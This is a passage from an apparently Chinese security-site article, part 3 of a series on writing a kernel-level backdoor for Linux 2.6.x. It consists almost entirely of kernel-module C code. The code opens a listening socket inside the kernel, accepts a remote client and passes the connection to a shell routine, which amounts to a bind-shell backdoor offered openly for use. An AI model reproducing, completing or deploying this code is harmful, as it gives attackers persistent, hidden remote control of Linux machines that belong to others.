快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

抒写Linux 2.6.x下内核级后门程序(3)


  printk("[-] sock_map_fd() failed.\n");
  sock_release(sock);
  return -1;
  }
  for (i = 0; i < 8; i++)
  server.sin_zero[i] = 0;
  server.sin_family = PF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(port);
  error = security_socket_bind(sock,(struct sockaddr *)&server,len);
  if (!error) {
  error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
  if (error < 0) {
  printk("[-] unix_bind() failed.\n");
  sock_release(sock);
  return -1;
  }
  }
  error = sock->ops->listen(sock,5);
  if (error < 0) {
  printk("[-] unix_listen failed.\n");
  sock_release(sock);
  return -1;
  }
  printk("[+] listen port %d ok.\n",port);
  if (!(newsock = sock_alloc())) {
  printk("[-] sock_alloc() failed.\n");
  sock_release(sock);
  return -1;
  }
  newsock->type = sock->type;
  newsock->ops = sock->ops;
  printk("[+] waiting for a client.\n");
  if (newsock->ops->accept) {
  error = security_socket_accept(sock,newsock);
  if (error < 0)
  goto out_release;
  if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
  printk("[-] accept got a signal.\n");
  goto out_release;
  }
  else if (error < 0) {
  printk("[-] unix_accept failed.\n");
  goto out_release;
  }
  if (newsock->ops->getname(newsock,client,&len,1) < 0)
  goto out_release;
  security_socket_post_accept(sock,newsock);
  sockid = sock_map_fd(newsock);
  if (sockid < 0) {
  printk("[-] sock_map_fd() failed.\n");
  sock_release(newsock);
  return -1;
  }
  printk("[+] accept a client.\n");
  kshell(sockid);
  }
  return 1;
  out_release:
  sock_release(sock);
  sock_release(newsock);
  return 0;
  }
  int k_socket_init(void)
  {
  printk("[+] kernel socket test start.\n");
  k_listen();
  }
  void k_socket_exit(void)
  {
  printk("[+] kernel socket test over.\n");
  }
  module_init(k_socket_init);
  module_exit(k_socket_exit);

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论